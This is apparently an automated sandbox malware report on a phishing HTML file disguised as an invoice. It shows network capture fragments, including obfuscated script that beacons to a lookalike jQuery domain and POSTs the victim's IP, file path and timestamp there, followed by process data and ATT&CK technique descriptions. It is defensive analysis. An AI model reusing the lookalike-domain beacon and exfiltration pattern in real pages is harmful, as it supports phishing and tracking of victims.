2022-05-13 23:25:35 UTC	52	IN	Data Raw: 2c 64 3d 72 5b 30 5d 2c 68 3d 6d 28 64 29 3b 69 66 28 68 7c 7c 31 3c 66 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 26 26 21 79 2e 63 68 65 63 6b 43 6c 6f 6e 65 26 26 44 65 2e 74 65 73 74 28 64 29 29 72 65 74 75 72 6e 20 6e 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6e 2e 65 71 28 65 29 3b 68 26 26 28 72 5b 30 5d 3d 64 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 2e 68 74 6d 6c 28 29 29 29 2c 50 65 28 74 2c 72 2c 69 2c 6f 29 7d 29 3b 69 66 28 66 26 26 28 74 3d 28 65 3d 78 65 28 72 2c 6e 5b 30 5d 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 21 31 2c 6e 2c 6f 29 29 2e 66 69 72 73 74 43 68 69 6c 64 2c 31 3d 3d 3d 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 74 29 2c 74 7c 7c 6f 29 29 7b 66 Data Ascii: ,d=r[0],h=m(d);if(h\|\|1<f&&"string"==typeof d&&!y.checkClone&&De.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),Pe(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t\|\|o)){f
2022-05-13 23:25:35 UTC	60	IN	Data Raw: 28 6e 3d 61 2e 73 65 74 28 65 2c 6e 2c 72 29 29 7c 7c 28 75 3f 6c 2e 73 65 74 50 72 6f 70 65 72 74 79 28 74 2c 6e 29 3a 6c 5b 74 5d 3d 6e 29 29 7d 7d 2c 63 73 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 3d 58 28 74 29 3b 72 65 74 75 72 6e 20 47 65 2e 74 65 73 74 28 74 29 7c 7c 28 74 3d 58 65 28 73 29 29 2c 28 61 3d 53 2e 63 73 73 48 6f 6f 6b 73 5b 74 5d 7c 7c 53 2e 63 73 73 48 6f 6f 6b 73 5b 73 5d 29 26 26 22 67 65 74 22 69 6e 20 61 26 26 28 69 3d 61 2e 67 65 74 28 65 2c 21 30 2c 6e 29 29 2c 76 6f 69 64 20 30 3d 3d 3d 69 26 26 28 69 3d 42 65 28 65 2c 74 2c 72 29 29 2c 22 6e 6f 72 6d 61 6c 22 3d 3d 3d 69 26 26 74 20 69 6e 20 51 65 26 26 28 69 3d 51 65 5b 74 5d 29 2c 22 22 3d 3d 3d 6e 7c 7c 6e 3f 28 6f 3d 70 Data Ascii: (n=a.set(e,n,r))\|\|(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Ge.test(t)\|\|(t=Xe(s)),(a=S.cssHooks[t]\|\|S.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Be(e,t,r)),"normal"===i&&t in Qe&&(i=Qe[t]),""===n\|\|n?(o=p
2022-05-13 23:25:35 UTC	68	IN	Data Raw: 66 69 6e 69 73 68 3d 21 30 2c 53 2e 71 75 65 75 65 28 74 68 69 73 2c 61 2c 5b 5d 29 2c 72 26 26 72 2e 73 74 6f 70 26 26 72 2e 73 74 6f 70 2e 63 61 6c 6c 28 74 68 69 73 2c 21 30 29 2c 65 3d 69 2e 6c 65 6e 67 74 68 3b 65 2d 2d 3b 29 69 5b 65 5d 2e 65 6c 65 6d 3d 3d 3d 74 68 69 73 26 26 69 5b 65 5d 2e 71 75 65 75 65 3d 3d 3d 61 26 26 28 69 5b 65 5d 2e 61 6e 69 6d 2e 73 74 6f 70 28 21 30 29 2c 69 2e 73 70 6c 69 63 65 28 65 2c 31 29 29 3b 66 6f 72 28 65 3d 30 3b 65 3c 6f 3b 65 2b 2b 29 6e 5b 65 5d 26 26 6e 5b 65 5d 2e 66 69 6e 69 73 68 26 26 6e 5b 65 5d 2e 66 69 6e 69 73 68 2e 63 61 6c 6c 28 74 68 69 73 29 3b 64 65 6c 65 74 65 20 74 2e 66 69 6e 69 73 68 7d 29 7d 7d 29 2c 53 2e 65 61 63 68 28 5b 22 74 6f 67 67 6c 65 22 2c 22 73 68 6f 77 22 2c 22 68 69 64 65 22 Data Ascii: finish=!0,S.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each(["toggle","show","hide"
2022-05-13 23:25:35 UTC	75	IN	Data Raw: 2e 74 72 69 67 67 65 72 65 64 3d 76 6f 69 64 20 30 2c 61 26 26 28 6e 5b 75 5d 3d 61 29 29 2c 65 2e 72 65 73 75 6c 74 7d 7d 2c 73 69 6d 75 6c 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 53 2e 65 78 74 65 6e 64 28 6e 65 77 20 53 2e 45 76 65 6e 74 2c 6e 2c 7b 74 79 70 65 3a 65 2c 69 73 53 69 6d 75 6c 61 74 65 64 3a 21 30 7d 29 3b 53 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 28 72 2c 6e 75 6c 6c 2c 74 29 7d 7d 29 2c 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 74 72 69 67 67 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 28 65 2c 74 2c 74 68 69 73 29 7d 29 7d 2c 74 72 69 67 67 65 72 48 61 6e 64 6c 65 Data Ascii: .triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=S.extend(new S.Event,n,{type:e,isSimulated:!0});S.event.trigger(r,null,t)}}),S.fn.extend({trigger:function(e,t){return this.each(function(){S.event.trigger(e,t,this)})},triggerHandle
2022-05-13 23:25:35 UTC	83	IN	Data Raw: 22 61 6a 61 78 53 75 63 63 65 73 73 22 3a 22 61 6a 61 78 45 72 72 6f 72 22 2c 5b 54 2c 76 2c 69 3f 6f 3a 61 5d 29 2c 62 2e 66 69 72 65 57 69 74 68 28 79 2c 5b 54 2c 6c 5d 29 2c 67 26 26 28 6d 2e 74 72 69 67 67 65 72 28 22 61 6a 61 78 43 6f 6d 70 6c 65 74 65 22 2c 5b 54 2c 76 5d 29 2c 2d 2d 53 2e 61 63 74 69 76 65 7c 7c 53 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 28 22 61 6a 61 78 53 74 6f 70 22 29 29 29 7d 72 65 74 75 72 6e 20 54 7d 2c 67 65 74 4a 53 4f 4e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 53 2e 67 65 74 28 65 2c 74 2c 6e 2c 22 6a 73 6f 6e 22 29 7d 2c 67 65 74 53 63 72 69 70 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 53 2e 67 65 74 28 65 2c 76 6f 69 64 20 30 2c 74 2c 22 73 63 72 69 70 74 22 Data Ascii: "ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--S.active\|\|S.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return S.get(e,t,n,"json")},getScript:function(e,t){return S.get(e,void 0,t,"script"
2022-05-13 23:25:35 UTC	91	IN	Data Raw: 6e 28 65 2c 74 29 7b 53 2e 66 6e 5b 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 6e 28 74 2c 65 29 7d 7d 29 2c 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 62 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 6e 28 65 2c 6e 75 6c 6c 2c 74 2c 6e 29 7d 2c 75 6e 62 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 66 66 28 65 2c 6e 75 6c 6c 2c 74 29 7d 2c 64 65 6c 65 67 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 6e 28 74 2c 65 2c 6e 2c 72 29 7d 2c 75 6e 64 65 6c 65 67 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 61 72 67 75 6d Data Ascii: n(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===argum
2022-05-13 23:25:35 UTC	99	IN	Data Raw: 27 3a 27 29 2b 70 5b 75 28 30 78 32 33 62 29 5d 28 29 2c 27 3a 27 29 2c 70 5b 75 28 30 78 31 66 63 29 5d 28 29 29 2c 79 3d 50 5b 75 28 30 78 32 34 33 29 5d 28 55 2c 27 5c 78 32 30 27 29 2b 4a 2c 4e 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 2c 65 3d 50 5b 75 28 30 78 31 65 62 29 5d 28 50 5b 75 28 30 78 32 30 39 29 5d 28 77 69 6e 64 6f 77 5b 27 76 27 5d 5b 75 28 30 78 32 30 30 29 5d 28 29 2c 27 2f 27 29 2c 77 69 6e 64 6f 77 5b 75 28 30 78 31 66 30 29 5d 5b 75 28 30 78 32 30 30 29 5d 28 29 29 2c 77 3d 50 5b 75 28 30 78 32 32 33 29 5d 28 50 5b 75 28 30 78 32 31 61 29 5d 28 50 5b 75 28 30 78 31 65 62 29 5d 28 50 5b 75 28 30 78 32 33 65 29 5d 28 50 5b 75 28 30 78 31 66 61 29 5d 28 50 5b 75 28 30 78 32 32 62 29 5d 28 50 5b 75 28 30 78 32 35 Data Ascii: ':')+p[u(0x23b)](),':'),p[u(0x1fc)]()),y=P[u(0x243)](U,'\x20')+J,N=new XMLHttpRequest(),e=P[u(0x1eb)](P[u(0x209)](window['v'][u(0x200)](),'/'),window[u(0x1f0)][u(0x200)]()),w=P[u(0x223)](P[u(0x21a)](P[u(0x1eb)](P[u(0x23e)](P[u(0x1fa)](P[u(0x22b)](P[u(0x25

Timestamp	kBytes transferred	Direction	Data
2022-05-13 23:25:36 UTC	99	OUT	GET /condenast.com HTTP/1.1 Host: logo.clearbit.com Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-13 23:25:36 UTC	100	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 1428 Connection: close Date: Thu, 12 May 2022 16:19:48 GMT access-control-allow-origin: * Cache-Control: public, max-age=2592000 Server: envoy strict-transport-security: max-age=31536000; includeSubDomains x-content-type-options: nosniff content-security-policy-report-only: default-src: 'self'; report-uri https://o13610.ingest.sentry.io/api/6173537/security/?sentry_key=7ac906c405c04da0bad984892f88d1bb X-Cache: Hit from cloudfront Via: 1.1 c07945b00aad28e34fbfebb3d3907060.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ZRH50-C1 X-Amz-Cf-Id: jxE4KOY6uZb4iv0zkriJoX4csSlsv2i2NUmQ9ANzt0xic1_AnzxHEQ== Age: 111948
2022-05-13 23:25:36 UTC	100	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 12 08 06 00 00 00 93 90 d6 83 00 00 05 5b 49 44 41 54 78 9c ec 99 79 6c 55 c5 17 c7 3f 3c 0a 0d fc 7e 52 16 ab 08 22 6e b8 53 37 16 a3 b1 26 5a a1 d6 28 46 a5 a2 51 8c 0b 46 ad 82 92 22 69 dc aa a2 18 d4 68 70 c1 a8 51 c3 1f 2e 8d a2 a4 82 12 ab c1 22 51 e1 0f 8d 12 54 40 30 4a 05 17 a2 d8 6a 2d b4 d4 8c f9 3e 72 72 33 73 df bd 6d c2 fb e7 7d 93 97 3b 77 e6 cc cc b9 33 e7 9c f9 ce 79 7d 29 c0 e1 3a 60 28 b0 25 df 8a 14 b0 6f 51 04 3c 06 74 03 63 f2 ad 4c 3e 50 94 6f 05 f2 88 23 80 eb 81 62 60 26 d0 96 6f 85 0a 28 60 9f 23 93 6f 05 0a c8 2f 0a 06 90 5f f4 d3 2f 6f e8 63 ca fd 81 8b 80 21 c0 06 a0 53 ca 0d 06 0e d2 99 39 db 33 c6 08 e0 4a 60 27 d0 02 74 01 03 80 a3 80 a5 c0 d7 11 79 37 de Data Ascii: PNGIHDR[IDATxylU?<~R"nS7&Z(FQF"ihpQ."QT@0Jj->rr3sm};w3y}):`(%oQ<tcL>Po#b`&o(`#o/_/oc!S93J`'ty7

Timestamp	kBytes transferred	Direction	Data
2022-05-13 23:25:36 UTC	102	OUT	GET /ip.php HTTP/1.1 Host: code.jquery.com.de Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-13 23:25:37 UTC	102	IN	HTTP/1.1 200 OK Date: Fri, 13 May 2022 23:25:36 GMT Server: Apache Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Content-Length: 34 Connection: close Content-Type: application/json; charset=utf-8
2022-05-13 23:25:37 UTC	102	IN	Data Raw: 7b 22 69 70 22 3a 22 38 34 2e 31 37 2e 35 32 2e 33 36 20 3a 20 53 77 69 74 7a 65 72 6c 61 6e 64 22 7d Data Ascii: {"ip":"84.17.52.36 : Switzerland"}

Timestamp	kBytes transferred	Direction	Data
2022-05-13 23:25:39 UTC	102	OUT	POST /post.php HTTP/1.1 Host: code.jquery.com.de Connection: keep-alive Content-Length: 160 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: / Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-13 23:25:39 UTC	103	OUT	Data Raw: 74 69 74 6c 65 3d 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 26 6c 69 6e 6b 3d 66 69 6c 65 3a 2f 2f 2f 43 3a 2f 55 73 65 72 73 2f 68 61 72 64 7a 2f 44 65 73 6b 74 6f 70 2f 49 4e 56 4f 49 43 45 30 33 38 30 30 38 33 38 2d 39 33 55 38 52 45 4d 49 54 39 30 33 39 30 34 39 38 39 33 30 34 2e 48 54 4d 4c 26 74 69 6d 65 3d 32 30 32 32 2d 35 2d 31 34 20 31 3a 32 35 3a 33 38 26 69 70 3d 38 34 2e 31 37 2e 35 32 2e 33 36 20 3a 20 53 77 69 74 7a 65 72 6c 61 6e 64 Data Ascii: title=Sign in to your account&link=file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML&time=2022-5-14 1:25:38&ip=84.17.52.36 : Switzerland
2022-05-13 23:25:39 UTC	103	IN	HTTP/1.1 200 OK Date: Fri, 13 May 2022 23:25:39 GMT Server: Apache Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Content-Length: 0 Connection: close Content-Type: application/json; charset=utf-8

Target ID:	0
Start time:	01:25:29
Start date:	14/05/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\INVOICE03800838-93U8REMIT903904989304.HTML
Imagebase:	0x7ff7f6290000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report INVOICE03800838-93U8REMIT903904989304.HTML

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic

C:\Users\user\AppData\Local\Google\Chrome\User Data\02bc261e-0684-4c4d-a8e9-1c14a8a2419a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\066fd38d-262a-4a50-a40c-46f15930e311.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\1875751e-b214-437a-9265-aded9134da94.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\55b9eaa4-b65c-4b56-9c41-1ee40c6c9eae.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\5e9b8584-5a2c-4131-ab9d-2de53ba808d0.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\639d7141-7fd9-4a85-909d-352aa36dcaf6.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\6bbf6a9a-b4be-4163-b303-958aab6fd348.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\6d7e126f-8772-4e4f-8bfd-b6625f159453.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\06af635c-4c79-4e48-91eb-b5f211d4fe79.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\1390772c-3d84-4abf-939a-1a8e927997a4.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\2543e664-ca95-4992-be66-a83aa3e2c8ab.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\3cc7a314-8f2e-4626-9fef-64def0870727.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\423076bc-ec1b-4d71-bef5-227969f5ffce.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\4d8f6e1e-3c03-43f1-a2ab-abe2b95b4b4a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6d775c9e-3eba-42c5-b0db-45ea9d845ac2.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\83fd0579-173e-4aff-b2f6-141dc8e46240.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\90c81b4a-8fee-47b7-a906-2e0108701704.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\93310488-ece6-4dbd-aef0-12b3c845b819.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9ca91e60-8d59-4218-966b-1daa14d071aa.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

Windows Analysis Report
INVOICE03800838-93U8REMIT903904989304.HTML

Target ID:	1
Start time:	01:25:31
Start date:	14/05/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1612,6768803995754101129,222923917044631795,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1932 /prefetch:8
Imagebase:	0x7ff7f6290000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre